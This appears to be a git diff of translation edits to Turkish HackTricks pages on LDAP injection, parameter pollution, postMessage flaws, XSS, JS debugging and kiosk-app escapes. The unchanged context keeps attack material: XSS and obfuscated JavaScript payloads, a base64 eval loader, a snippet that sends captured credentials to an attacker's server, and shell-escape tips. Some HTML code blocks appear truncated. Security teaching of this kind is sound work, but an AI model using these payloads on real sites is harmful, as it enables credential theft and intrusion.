+++ /dev/null @@ -1,9 +0,0 @@ -{{#include ./banners/hacktricks-training.md}} - -**DNS'e yönelik saldırılar hakkında daha fazla araştırma yapın** - -**DNSSEC ve DNSSEC3** - -**IPv6'daki DNS** - -{{#include ./banners/hacktricks-training.md}} diff --git a/src/pentesting-web/ldap-injection.md b/src/pentesting-web/ldap-injection.md index 2992da7e6..70c2a58af 100644 --- a/src/pentesting-web/ldap-injection.md +++ b/src/pentesting-web/ldap-injection.md @@ -1,7 +1,5 @@ # LDAP Injection -## LDAP Injection - {{#include ../banners/hacktricks-training.md}} ## LDAP Injection @@ -14,7 +12,7 @@ ../network-services-pentesting/pentesting-ldap.md {{#endref}} -**LDAP Injection**, kullanıcı girdisinden LDAP ifadeleri oluşturan web uygulamalarını hedef alan bir saldırıdır. Uygulama, girişi **doğru bir şekilde temizlemediğinde** meydana gelir ve bu durum saldırganların **LDAP ifadelerini manipüle etmesine** olanak tanır; bu da yetkisiz erişim veya veri manipülasyonuna yol açabilir. +**LDAP Injection** kullanıcı girdisinden LDAP ifadeleri oluşturan web uygulamalarını hedef alan bir saldırıdır. Uygulama, girişi **doğru bir şekilde temizlemediğinde** meydana gelir ve bu durum saldırganların **LDAP ifadelerini manipüle etmesine** olanak tanır, bu da yetkisiz erişim veya veri manipülasyonuna yol açabilir. {{#file}} EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf @@ -150,7 +148,7 @@ Ascii harfleri, rakamlar ve semboller üzerinde döngü yapabilirsiniz: #### **Geçerli LDAP alanlarını keşfet** -LDAP nesneleri **varsayılan olarak birkaç öznitelik içerir** ve bu öznitelikler **bilgi saklamak için kullanılabilir.** Bu bilgiyi çıkarmak için **hepsini brute-force ile denemeyi** deneyebilirsiniz. [**Varsayılan LDAP özniteliklerinin bir listesini buradan bulabilirsiniz**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP_attributes.txt). +LDAP nesneleri **varsayılan olarak birkaç öznitelik içerir** ve bu öznitelikler **bilgi saklamak için kullanılabilir.** Bu bilgiyi çıkarmak için **hepsini brute-force ile denemeyi** deneyebilirsiniz. [**Varsayılan LDAP özniteliklerinin bir listesini burada bulabilirsiniz**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP_attributes.txt). ```python #!/usr/bin/python3 import requests diff --git a/src/pentesting-web/parameter-pollution.md b/src/pentesting-web/parameter-pollution.md index 036e59edc..7e89adfb8 100644 --- a/src/pentesting-web/parameter-pollution.md +++ b/src/pentesting-web/parameter-pollution.md @@ -1,10 +1,7 @@ # Parameter Pollution | JSON Injection -## Parameter Pollution - {{#include ../banners/hacktricks-training.md}} - ## HTTP Parameter Pollution (HPP) Genel Bakış HTTP Parameter Pollution (HPP), saldırganların HTTP parametrelerini manipüle ederek bir web uygulamasının davranışını beklenmedik şekillerde değiştirdiği bir tekniktir. Bu manipülasyon, HTTP parametrelerini ekleyerek, değiştirerek veya çoğaltarak yapılır. Bu manipülasyonların etkisi kullanıcıya doğrudan görünmez, ancak uygulamanın sunucu tarafındaki işlevselliğini önemli ölçüde değiştirebilir ve istemci tarafında gözlemlenebilir etkiler yaratabilir. @@ -19,7 +16,7 @@ Ek bir `from` parametresi ekleyerek: - **Manipüle Edilmiş URL:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000&from=accountC` -İşlem, `accountA` yerine yanlışlıkla `accountC`'ye yansıtılabilir; bu da HPP'nin işlemleri veya şifre sıfırlama, 2FA ayarları veya API anahtarı talepleri gibi diğer işlevleri manipüle etme potansiyelini göstermektedir. +İşlem, `accountA` yerine yanlışlıkla `accountC`'ye tahsil edilebilir ve bu durum HPP'nin işlemleri veya şifre sıfırlama, 2FA ayarları veya API anahtarı talepleri gibi diğer işlevleri manipüle etme potansiyelini göstermektedir. #### **Teknolojiye Özgü Parametre Ayrıştırma** @@ -34,22 +31,22 @@ Ek bir `from` parametresi ekleyerek: - **Yöntem:** Burp Suite gibi araçlar kullanarak OTP talebini kesen saldırganlar, HTTP isteğindeki `email` parametresini çoğalttı. - **Sonuç:** İlk e-posta için tasarlanan OTP, manipüle edilmiş istekte belirtilen ikinci e-posta adresine gönderildi. Bu hata, amaçlanan güvenlik önlemini aşarak yetkisiz erişime izin verdi. -Bu senaryo, OTP üretimi için ilk `email` parametresini işleyen ancak teslimat için sonuncusunu kullanan uygulamanın arka ucundaki kritik bir gözden geçirmeyi vurgulamaktadır. +Bu senaryo, uygulamanın arka ucundaki kritik bir gözden geçirmeyi vurgular; ilk `email` parametresi OTP üretimi için işlenirken, teslimat için sonuncusu kullanıldı. **API Anahtarı Manipülasyonu Durumu:** -- **Senaryo:** Bir uygulama, kullanıcıların profil ayarları sayfası aracılığıyla API anahtarlarını güncellemelerine izin veriyor. -- **Saldırı Vektörü:** Bir saldırgan, POST isteğine ek bir `api_key` parametresi ekleyerek API anahtarı güncelleme işlevinin sonucunu manipüle edebileceğini keşfetti. -- **Teknik:** Burp Suite gibi bir araç kullanarak, saldırgan bir geçerli ve bir kötü niyetli `api_key` parametresi içeren bir istek oluşturur. Sunucu, yalnızca son örneği işleyerek, API anahtarını saldırganın sağladığı değere günceller. +- **Senaryo:** Bir uygulama, kullanıcıların profil ayarları sayfası aracılığıyla API anahtarlarını güncellemelerine izin verir. +- **Saldırı Vektörü:** Bir saldırgan, POST isteğine ek bir `api_key` parametresi ekleyerek API anahtarı güncelleme işlevinin sonucunu manipüle edebileceğini keşfeder. +- **Teknik:** Burp Suite gibi bir araç kullanarak, saldırgan bir geçerli ve bir kötü niyetli `api_key` parametresi içeren bir istek hazırlar. Sunucu, yalnızca son durumu işleyerek, API anahtarını saldırganın sağladığı değere günceller. - **Sonuç:** Saldırgan, mağdurun API işlevselliği üzerinde kontrol kazanır ve muhtemelen özel verilere yetkisiz erişim veya değişiklik yapabilir. -Bu örnek, özellikle API anahtarı yönetimi gibi kritik özelliklerde güvenli parametre işlemenin gerekliliğini daha da vurgulamaktadır. +Bu örnek, özellikle API anahtarı yönetimi gibi kritik özelliklerde güvenli parametre işlemenin gerekliliğini daha da vurgular. ### Parametre Ayrıştırma: Flask vs. PHP -Web teknolojilerinin yinelenen HTTP parametrelerini ele alma şekli, HPP saldırılarına karşı duyarlılıklarını etkiler: +Web teknolojilerinin çoğaltılmış HTTP parametrelerini ele alma şekli, HPP saldırılarına karşı duyarlılıklarını etkiler: -- **Flask:** Bir sorgu dizesinde `a=1&a=2` gibi ilk karşılaşılan parametre değerini benimser, ilk örneği sonraki yinelenenlerden öncelikli kılar. +- **Flask:** Bir sorgu dizesinde `a=1&a=2` gibi ilk karşılaşılan parametre değerini benimser, ilk örneği sonraki çoğaltmalara tercih eder. - **PHP (Apache HTTP Sunucusunda):** Aksine, son parametre değerini önceliklendirir ve verilen örnekte `a=2` seçilir. Bu davranış, saldırganın manipüle ettiği parametreyi orijinaline tercih ederek HPP istismarlarını istemeden kolaylaştırabilir. ## Teknolojiye Göre Parametre Kirliliği @@ -60,10 +57,10 @@ Sonuçlar [https://medium.com/@0xAwali/http-parameter-pollution-in-2024-32ec1b81

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*l_Pf2JNCYhmfAvfk7UTEbQ.jpeg

-1. Parametre adından %00 sonrasını yok sayın. -2. name\[]'yi dizi olarak ele alın. +1. Parametre adından %00 sonrasını yoksay. +2. name\[]'yi dizi olarak ele al. 3. \_GET GET Yöntemini ifade etmez. -4. Son parametreyi tercih edin. +4. Son parametreyi tercih et. ### Ruby 3.3.5 ve WEBrick 1.8.2 @@ -71,7 +68,7 @@ Sonuçlar [https://medium.com/@0xAwali/http-parameter-pollution-in-2024-32ec1b81 1. Parametreleri ayırmak için & ve ; ayırıcılarını kullanır. 2. name\[] tanınmaz. -3. İlk parametreyi tercih edin. +3. İlk parametreyi tercih et. ### Spring MVC 6.0.23 VE Apache Tomcat 10.1.30 @@ -79,8 +76,8 @@ Sonuçlar [https://medium.com/@0xAwali/http-parameter-pollution-in-2024-32ec1b81 1. POST RequestMapping == PostMapping & GET RequestMapping == GetMapping. 2. POST RequestMapping & PostMapping name\[]'yi tanır. -3. name ve name\[] mevcutsa name'i tercih edin. -4. Parametreleri birleştirin, örneğin first,last. +3. name ve name\[] mevcutsa name'i tercih et. +4. Parametreleri birleştir, örneğin first,last. 5. POST RequestMapping & PostMapping, Content-Type ile sorgu parametresini tanır. ### **NodeJS** 20.17.0 **VE** Express 4.21.0 @@ -88,43 +85,43 @@ Sonuçlar [https://medium.com/@0xAwali/http-parameter-pollution-in-2024-32ec1b81

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*JzNkLOSW7orcHXswtMHGMA.jpeg

1. name\[]'yi tanır. -2. Parametreleri birleştirir, örneğin first,last. +2. Parametreleri birleştir, örneğin first,last. ### GO 1.22.7

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NVvN1N8sL4g_Gi796FzlZA.jpeg

1. name\[] tanınmaz. -2. İlk parametreyi tercih edin. +2. İlk parametreyi tercih et. ### Python 3.12.6 VE Werkzeug 3.0.4 VE Flask 3.0.3

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*Se5467PFFjIlmT3O7KNlWQ.jpeg

1. name\[] tanınmaz. -2. İlk parametreyi tercih edin. +2. İlk parametreyi tercih et. ### Python 3.12.6 VE Django 4.2.15

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rf38VXut5YhAx0ZhUzgT8Q.jpeg

1. name\[] tanınmaz. -2. Son parametreyi tercih edin. +2. Son parametreyi tercih et. ### Python 3.12.6 VE Tornado 6.4.1

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*obCn7xahDc296JZccXM2qQ.jpeg

1. name\[] tanınmaz. -2. Son parametreyi tercih edin. +2. Son parametreyi tercih et. ## JSON Injection -### Yinelenen anahtarlar +### Çoğaltılmış anahtarlar ```ini obj = {"test": "user", "test": "admin"} ``` -Ön uç, ilk oluşumu doğru kabul edebilirken, arka uç anahtarın ikinci oluşumunu kullanır. +Ön uç, ilk oluşumu doğru kabul edebilirken, arka uç anahtarın ikinci oluşumunu kullanabilir. ### Anahtar Çakışması: Karakter Kısaltma ve Yorumlar @@ -135,7 +132,7 @@ Belirli karakterler ön uç tarafından doğru bir şekilde yorumlanmayabilir, a {"test": 1, "test"": 2} {"test": 1, "te\st": 2} ``` -Bu durumlarda ön uç `test == 1` olarak düşünebilirken, arka uç `test == 2` olarak düşünebilir. +Bu durumlarda ön yüzün `test == 1` olduğunu düşünürken, arka yüzün `test == 2` olduğunu düşünebileceğini unutmayın. Bu, aşağıdaki gibi değer kısıtlamalarını aşmak için de kullanılabilir: ```json diff --git a/src/pentesting-web/postmessage-vulnerabilities/README.md b/src/pentesting-web/postmessage-vulnerabilities/README.md index c87c5243b..1d4933321 100644 --- a/src/pentesting-web/postmessage-vulnerabilities/README.md +++ b/src/pentesting-web/postmessage-vulnerabilities/README.md @@ -1,10 +1,8 @@ # PostMessage Açıkları -## PostMessage Açıkları - {{#include ../../banners/hacktricks-training.md}} -## Gönder **PostMessage** +## Mesaj Gönder **PostMessage** **PostMessage** bir mesaj göndermek için aşağıdaki fonksiyonu kullanır: ```bash @@ -39,7 +37,7 @@ Eğer **joker karakter** kullanılıyorsa, **mesajlar herhangi bir domaine gönd ### iframe saldırısı & **targetOrigin**'de joker karakter [**bu raporda**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/) açıklandığı gibi, **iframed** (hiçbir `X-Frame-Header` koruması yok) olabilen bir sayfa bulursanız ve bu sayfa **joker karakter** (\*) kullanarak **duyarlı** mesaj gönderiyorsa, **iframe**'in **kökenini** **değiştirebilir** ve **duyarlı** mesajı sizin kontrolünüzdeki bir domaine **sızdırabilirsiniz**.\ -Sayfanın iframed olabileceğini ancak **targetOrigin**'in **bir URL'ye ve joker karaktere ayarlanmadığını** not edin, bu **numara çalışmayacaktır**. +Sayfanın iframed olabileceğini ancak **targetOrigin**'in **bir URL'ye ve joker karaktere ayarlanmadığını** unutmayın, bu **numara çalışmayacaktır**. ```html "> ``` -### Unicode Kodlama JS yürütme +### Unicode Encode JS yürütme ```javascript alert(1) alert(1) @@ -739,21 +741,21 @@ top[8680439..toString(30)](1) ``` ## **DOM zafiyetleri** -**JS kodu**, bir saldırgan tarafından kontrol edilen **güvensiz verileri** kullanıyor, örneğin `location.href`. Bir saldırgan, bunu kullanarak rastgele JS kodu çalıştırabilir.\ +**JS kodu**, **bir saldırgan tarafından kontrol edilen güvensiz verileri** kullanıyor, örneğin `location.href`. Bir saldırgan, bunu kullanarak rastgele JS kodu çalıştırabilir.\ **Açıklamanın uzatılması nedeniyle** [**DOM zafiyetleri bu sayfaya taşındı**](dom-xss.md)**:** {{#ref}} dom-xss.md {{#endref}} -Orada **DOM zafiyetlerinin ne olduğu, nasıl tetiklendiği ve nasıl istismar edileceği hakkında detaylı bir açıklama** bulacaksınız.\ -Ayrıca, **bahsedilen yazının sonunda** [**DOM Clobbering saldırıları hakkında**](dom-xss.md#dom-clobbering) bir açıklama bulmayı unutmayın. +Orada **DOM zafiyetlerinin ne olduğu, nasıl tetiklendiği ve nasıl istismar edileceği** hakkında ayrıntılı bir **açıklama** bulacaksınız.\ +Ayrıca, **bahsedilen yazının sonunda** [**DOM Clobbering saldırıları**](dom-xss.md#dom-clobbering) hakkında bir açıklama bulmayı unutmayın. ### Self-XSS'i Yükseltme ### Cookie XSS -Eğer bir yükü bir çerez içinde göndererek bir XSS tetikleyebiliyorsanız, bu genellikle bir self-XSS'dir. Ancak, eğer **XSS için savunmasız bir alt alan adı** bulursanız, bu XSS'i kullanarak tüm alan adında bir çerez enjekte edebilir ve ana alan adında veya çerez XSS'e savunmasız diğer alt alan adlarında çerez XSS'i tetikleyebilirsiniz. Bunun için çerez fırlatma saldırısını kullanabilirsiniz: +Eğer bir XSS'i bir çerez içinde payload göndererek tetikleyebiliyorsanız, bu genellikle bir self-XSS'dir. Ancak, eğer **XSS için savunmasız bir alt alan adı** bulursanız, bu XSS'i kullanarak tüm alan adında bir çerez enjekte edebilir ve ana alan adında veya çerez XSS'ye savunmasız diğer alt alan adlarında çerez XSS'i tetikleyebilirsiniz. Bunun için çerez atma saldırısını kullanabilirsiniz: {{#ref}} ../hacking-with-cookies/cookie-tossing.md @@ -763,13 +765,13 @@ Bu tekniğin harika bir istismarını [**bu blog yazısında**](https://nokline. ### Oturumunuzu yöneticilere gönderme -Belki bir kullanıcı, profilini yönetici ile paylaşabilir ve eğer self XSS kullanıcının profilinde ise ve yönetici buna erişirse, zafiyeti tetikleyecektir. +Belki bir kullanıcı profiline yöneticilerle paylaşabilir ve eğer self XSS kullanıcının profilindeyse ve yönetici buna erişirse, zafiyeti tetikleyecektir. ### Oturum Yansıtma Eğer bazı self XSS bulursanız ve web sayfasında **yöneticiler için oturum yansıtma** varsa, örneğin müşterilerin yardım istemesine izin veriyorsa, yönetici size yardımcı olmak için sizin oturumunuzda gördüğünüzü kendi oturumundan görecektir. -**Yöneticiye self XSS'inizi tetikletip çerezlerini/oturumunu çalabilirsiniz.** +**Yöneticiye self XSS'inizi tetikletip** çerezlerini/oturumunu çalabilirsiniz. ## Diğer Bypass'lar @@ -828,7 +830,7 @@ document['default'+'View'][`\u0061lert`](3) Eğer **302 Yönlendirme yanıtında başlıkları enjekte edebildiğinizi** bulursanız, **tarayıcının rastgele JavaScript'i çalıştırmasını sağlamayı** deneyebilirsiniz. Bu **kolay değildir** çünkü modern tarayıcılar, HTTP yanıt durum kodu 302 olduğunda HTTP yanıt gövdesini yorumlamaz, bu nedenle sadece bir cross-site scripting yükü işe yaramaz. -[**Bu raporda**](https://www.gremwell.com/firefox-xss-302) ve [**şu raporda**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) Konum başlığı içinde birkaç protokolü nasıl test edebileceğinizi ve bunlardan herhangi birinin tarayıcının gövde içindeki XSS yükünü incelemesine ve çalıştırmasına izin verip vermediğini görebilirsiniz.\ +[**Bu raporda**](https://www.gremwell.com/firefox-xss-302) ve [**şu birinde**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) Konum başlığı içinde birkaç protokolü nasıl test edebileceğinizi ve bunlardan herhangi birinin tarayıcının XSS yükünü gövde içinde incelemesine ve çalıştırmasına izin verip vermediğini okuyabilirsiniz.\ Geçmişte bilinen protokoller: `mailto://`, `//x:1/`, `ws://`, `wss://`, _boş Konum başlığı_, `resource://`. ### Sadece Harfler, Sayılar ve Noktalar @@ -837,11 +839,11 @@ Eğer JavaScript'in **çalıştıracağı** **callback**'i bu karakterlerle sın ### XSS için Geçerli ` The resources are loaded from the source .wbn, not accessed via HTTP ``` -- [**importmap**](https://github.com/WICG/import-maps)**:** İçe aktarma sözdizimini geliştirmeye olanak tanır. +- [**importmap**](https://github.com/WICG/import-maps)**:** İçe aktarma sözdizimini geliştirmeye olanak tanır ```html ``` -Bu davranış, bir kütüphaneyi eval ile yeniden haritalamak için [**bu yazıda**](https://github.com/zwade/yaca/tree/master/solution) kullanıldı; bu, XSS'yi tetikleyebilir. +Bu davranış, bir kütüphaneyi eval ile yeniden haritalamak için kullanıldı, böylece XSS tetiklenebilir. - [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Bu özellik, önceden render edilmesinden kaynaklanan bazı sorunları çözmek için tasarlanmıştır. Şöyle çalışır: ```html @@ -987,7 +989,7 @@ constructor(source)() // For more uses of with go to challenge misc/CaaSio PSE in // https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE ``` -Eğer **her şey tanımsızsa** güvenilmeyen kod çalıştırılmadan önce (örneğin [**bu yazıda**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)) yararlı nesneleri "hiçbir şeyden" oluşturmak ve keyfi güvenilmeyen kodun çalıştırılmasını istismar etmek mümkündür: +Eğer **her şey tanımsızsa** güvenilmeyen kod çalıştırılmadan önce (örneğin [**bu yazıda**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)) "hiçbir şeyden" yararlı nesneler oluşturmak ve keyfi güvenilmeyen kodun çalıştırılmasını istismar etmek mümkündür: - import() kullanarak ```javascript @@ -1011,7 +1013,7 @@ return arguments.callee.caller.arguments[1]("fs").readFileSync( ) })() ``` -Önceki örnekteki gibi, **hata işleyicilerini** kullanarak modülün **sarmalayıcısına** erişmek ve **`require`** fonksiyonunu almak mümkündür: +Önceki örnekteki gibi, **hata işleyicilerini** kullanarak modülün **wrapper**'ına erişmek ve **`require`** fonksiyonunu almak mümkündür: ```javascript try { null.f() @@ -1232,7 +1234,7 @@ o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o] ``` ## XSS yaygın yükler -### 1'de Birkaç Yük +### Birden Fazla Yük {{#ref}} steal-info-js.md @@ -1268,8 +1270,8 @@ Kullanıcının bir iframe'den çıkmadan sayfada gezinmesini sağla ve eylemler ``` -> [!NOTE] -> Eğer çerezde HTTPOnly bayrağı ayarlandıysa, **JavaScript'ten çerezlere erişemezsiniz**. Ama burada [bu korumayı aşmanın bazı yolları](../hacking-with-cookies/index.html#httponly) var, eğer şanslıysanız. +> [!TIP] +> HTTPOnly bayrağı çerezde ayarlandığında, **JavaScript'ten çerezlere erişemezsiniz**. Ama burada [bu korumayı aşmanın bazı yolları](../hacking-with-cookies/index.html#httponly) var, eğer yeterince şanslıysanız. ### Sayfa İçeriğini Çal ```javascript @@ -1379,7 +1381,7 @@ mode: 'no-cors', body:username.value+':'+this.value });"> ``` -Herhangi bir veri şifre alanına girildiğinde, kullanıcı adı ve şifre saldırganın sunucusuna gönderilir, istemci kaydedilmiş bir şifre seçse ve hiçbir şey yazmasa bile kimlik bilgileri dışarı sızdırılacaktır. +Herhangi bir veri şifre alanına girildiğinde, kullanıcı adı ve şifre saldırganın sunucusuna gönderilir; istemci kaydedilmiş bir şifre seçse ve hiçbir şey yazmasa bile kimlik bilgileri dışarı sızdırılacaktır. ### Keylogger @@ -1500,7 +1502,7 @@ javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4Ln ``` ### Regex - Gizli İçeriğe Erişim -[**bu yazıdan**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) öğrenmek mümkündür ki, bazı değerler JS'den kaybolsa bile, farklı nesnelerdeki JS özniteliklerinde hala bulunabilir. Örneğin, bir REGEX'in girişi, regex'in giriş değerinin kaldırılmasından sonra hala bulunabilir: +[**bu yazıdan**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) öğrenilebilir ki, bazı değerler JS'den kaybolsa bile, farklı nesnelerdeki JS özniteliklerinde hala bulunabilir. Örneğin, bir REGEX'in girişi, regex'in giriş değerinin kaldırılmasından sonra hala bulunabilir: ```javascript // Do regex with flag flag = "CTF{FLAG}" @@ -1533,13 +1535,13 @@ Render edilecek Markdown kodu enjekte edebilir misiniz? Belki XSS elde edebilirs xss-in-markdown.md {{#endref}} -### XSS ile SSRF +### XSS'den SSRF'ye **Önbellek kullanan** bir sitede XSS mi elde ettiniz? Bu yükle birlikte Edge Side Include Injection ile **bunu SSRF'ye yükseltmeyi** deneyin: ```python ``` -Kullanarak çerez kısıtlamalarını, XSS filtrelerini ve daha fazlasını aşın!\ +Bunu çerez kısıtlamalarını, XSS filtrelerini ve daha fazlasını aşmak için kullanın!\ Bu teknik hakkında daha fazla bilgi burada: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md). ### Dinamik oluşturulan PDF'de XSS @@ -1561,7 +1563,7 @@ pdf-injection.md AMP, mobil cihazlarda web sayfası performansını hızlandırmayı amaçlayarak, hız ve güvenliğe vurgu yaparak işlevselliği sağlamak için JavaScript ile desteklenen HTML etiketlerini içerir. Çeşitli özellikler için bir dizi bileşeni destekler ve bunlara [AMP bileşenleri](https://amp.dev/documentation/components/?format=websites) aracılığıyla erişilebilir. -[**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) formatı, belirli AMP bileşenlerini e-postalara genişleterek, alıcıların içerikle doğrudan e-postaları içinde etkileşimde bulunmalarını sağlar. +[**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) formatı, belirli AMP bileşenlerini e-postalara genişleterek alıcıların içerikle doğrudan e-postaları içinde etkileşimde bulunmalarını sağlar. Örnek [**Gmail'de Amp4Email'de XSS yazımı**](https://adico.me/post/xss-in-gmail-s-amp4email). @@ -1623,7 +1625,7 @@ id="foo"/> ```xml ``` -**Daha fazla SVG yüklemesi bulmak için** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) +Daha fazla SVG yüklemesi bulmak için **[https://github.com/allanlw/svg-cheatsheet](https://github.com/allanlw/svg-cheatsheet)** ## Çeşitli JS Hileleri ve İlgili Bilgiler diff --git a/src/pentesting-web/xss-cross-site-scripting/debugging-client-side-js.md b/src/pentesting-web/xss-cross-site-scripting/debugging-client-side-js.md index 948cf673f..91011e820 100644 --- a/src/pentesting-web/xss-cross-site-scripting/debugging-client-side-js.md +++ b/src/pentesting-web/xss-cross-site-scripting/debugging-client-side-js.md @@ -1,21 +1,19 @@ # Client Tarafı JS Hata Ayıklama -## Client Tarafı JS Hata Ayıklama - {{#include ../../banners/hacktricks-training.md}} -Client tarafı JS hata ayıklamak zor olabilir çünkü URL'yi her değiştirdiğinizde (parametrelerdeki değişiklikler veya parametre değerleri dahil) **kesme noktasını sıfırlamanız ve sayfayı yeniden yüklemeniz** gerekir. +Client tarafı JS hata ayıklama zor olabilir çünkü URL'yi her değiştirdiğinizde (kullanılan parametrelerde veya parametre değerlerinde bir değişiklik dahil) **kesme noktasını sıfırlamanız ve sayfayı yeniden yüklemeniz** gerekir. ### `debugger;` -Bir JS dosyasının içine `debugger;` satırını yerleştirirseniz, **tarayıcı** JS'i çalıştırdığında o noktada **hata ayıklayıcıyı durdurur**. Bu nedenle, sürekli kesme noktaları ayarlamanın bir yolu, **tüm dosyaları yerel olarak indirmek ve JS kodunda kesme noktalarını ayarlamaktır**. +Eğer `debugger;` satırını bir JS dosyasının içine yerleştirirseniz, **tarayıcı** JS'i çalıştırdığında o noktada **hata ayıklayıcıyı durdurur**. Bu nedenle, sürekli kesme noktaları ayarlamanın bir yolu, **tüm dosyaları yerel olarak indirmek ve JS kodunda kesme noktalarını ayarlamak** olacaktır. ### Geçersiz Kılmalar Tarayıcı geçersiz kılmaları, çalıştırılacak kodun yerel bir kopyasına sahip olmanızı ve uzaktaki sunucudan gelen kod yerine o kopyayı çalıştırmanızı sağlar.\ Geçersiz kılmalara "Geliştirici Araçları" --> "Kaynaklar" --> "Geçersiz Kılmalar" bölümünden **erişebilirsiniz**. -**Geçersiz kılmalar için kullanılacak yerel boş bir klasör oluşturmanız gerekir**, bu yüzden yeni bir yerel klasör oluşturun ve o sayfada geçersiz kılma olarak ayarlayın. +**Geçersiz kılmalar için kullanılacak yerel boş bir klasör oluşturmanız** gerekir, bu yüzden yeni bir yerel klasör oluşturun ve o sayfada geçersiz kılma olarak ayarlayın. Ardından, "Geliştirici Araçları" --> "Kaynaklar" bölümünde **geçersiz kılmak istediğiniz dosyayı seçin** ve **sağ tıklayarak "Geçersiz kılmalar için kaydet" seçeneğini seçin**. diff --git a/src/physical-attacks/escaping-from-gui-applications/README.md b/src/physical-attacks/escaping-from-gui-applications/README.md deleted file mode 100644 index 202348e4d..000000000 --- a/src/physical-attacks/escaping-from-gui-applications/README.md +++ /dev/null @@ -1,276 +0,0 @@ -{{#include ../../banners/hacktricks-training.md}} - -# GUI uygulaması içindeki olası eylemleri kontrol et - -**Ortak Diyaloglar**, **bir dosyayı kaydetme**, **bir dosyayı açma**, bir yazı tipi, bir renk seçme gibi seçeneklerdir... Bunların çoğu **tam bir Gezgini işlevselliği sunacaktır**. Bu, bu seçeneklere erişebiliyorsanız Gezgini işlevselliğine erişebileceğiniz anlamına gelir: - -- Kapat/Kapat olarak -- Aç/Aç ile -- Yazdır -- Dışa Aktar/Içe Aktar -- Ara -- Tara - -Şunları kontrol etmelisiniz: - -- Dosyaları değiştirme veya yeni dosyalar oluşturma -- Sembolik bağlantılar oluşturma -- Kısıtlı alanlara erişim sağlama -- Diğer uygulamaları çalıştırma - -## Komut Yürütme - -Belki **`Aç ile`** seçeneğini kullanarak bazı türde bir shell açabilir/çalıştırabilirsiniz. - -### Windows - -Örneğin _cmd.exe, command.com, Powershell/Powershell ISE, mmc.exe, at.exe, taskschd.msc..._ komutları çalıştırmak için kullanılabilecek daha fazla ikili dosyayı burada bulabilirsiniz: [https://lolbas-project.github.io/](https://lolbas-project.github.io) - -### \*NIX \_\_ - -_bash, sh, zsh..._ Daha fazlası burada: [https://gtfobins.github.io/](https://gtfobins.github.io) - -# Windows - -## Yol kısıtlamalarını aşma - -- **Ortam değişkenleri**: Bazı yollara işaret eden birçok ortam değişkeni vardır -- **Diğer protokoller**: _about:, data:, ftp:, file:, mailto:, news:, res:, telnet:, view-source:_ -- **Sembolik bağlantılar** -- **Kısayollar**: CTRL+N (yeni oturum aç), CTRL+R (Komutları Yürüt), CTRL+SHIFT+ESC (Görev Yöneticisi), Windows+E (gezgini aç), CTRL-B, CTRL-I (Favoriler), CTRL-H (Geçmiş), CTRL-L, CTRL-O (Dosya/Aç Diyaloğu), CTRL-P (Yazdırma Diyaloğu), CTRL-S (Farklı Kaydet) -- Gizli Yönetici menüsü: CTRL-ALT-F8, CTRL-ESC-F9 -- **Shell URI'leri**: _shell:Administrative Tools, shell:DocumentsLibrary, shell:Librariesshell:UserProfiles, shell:Personal, shell:SearchHomeFolder, shell:Systemshell:NetworkPlacesFolder, shell:SendTo, shell:UsersProfiles, shell:Common Administrative Tools, shell:MyComputerFolder, shell:InternetFolder_ -- **UNC yolları**: Paylaşılan klasörlere bağlanmak için yollar. Yerel makinenin C$'sine bağlanmayı denemelisiniz ("\\\127.0.0.1\c$\Windows\System32") -- **Daha fazla UNC yolu:** - -| UNC | UNC | UNC | -| ------------------------- | -------------- | -------------------- | -| %ALLUSERSPROFILE% | %APPDATA% | %CommonProgramFiles% | -| %COMMONPROGRAMFILES(x86)% | %COMPUTERNAME% | %COMSPEC% | -| %HOMEDRIVE% | %HOMEPATH% | %LOCALAPPDATA% | -| %LOGONSERVER% | %PATH% | %PATHEXT% | -| %ProgramData% | %ProgramFiles% | %ProgramFiles(x86)% | -| %PROMPT% | %PSModulePath% | %Public% | -| %SYSTEMDRIVE% | %SYSTEMROOT% | %TEMP% | -| %TMP% | %USERDOMAIN% | %USERNAME% | -| %USERPROFILE% | %WINDIR% | | - -## İkili Dosyalarınızı İndirin - -Konsol: [https://sourceforge.net/projects/console/](https://sourceforge.net/projects/console/)\ -Gezgini: [https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/](https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/)\ -Kayıt defteri düzenleyici: [https://sourceforge.net/projects/uberregedit/](https://sourceforge.net/projects/uberregedit/) - -## Tarayıcıdan dosya sistemine erişim - -| PATH | PATH | PATH | PATH | -| ------------------- | ----------------- | ------------------ | ------------------- | -| File:/C:/windows | File:/C:/windows/ | File:/C:/windows\\ | File:/C:\windows | -| File:/C:\windows\\ | File:/C:\windows/ | File://C:/windows | File://C:/windows/ | -| File://C:/windows\\ | File://C:\windows | File://C:\windows/ | File://C:\windows\\ | -| C:/windows | C:/windows/ | C:/windows\\ | C:\windows | -| C:\windows\\ | C:\windows/ | %WINDIR% | %TMP% | -| 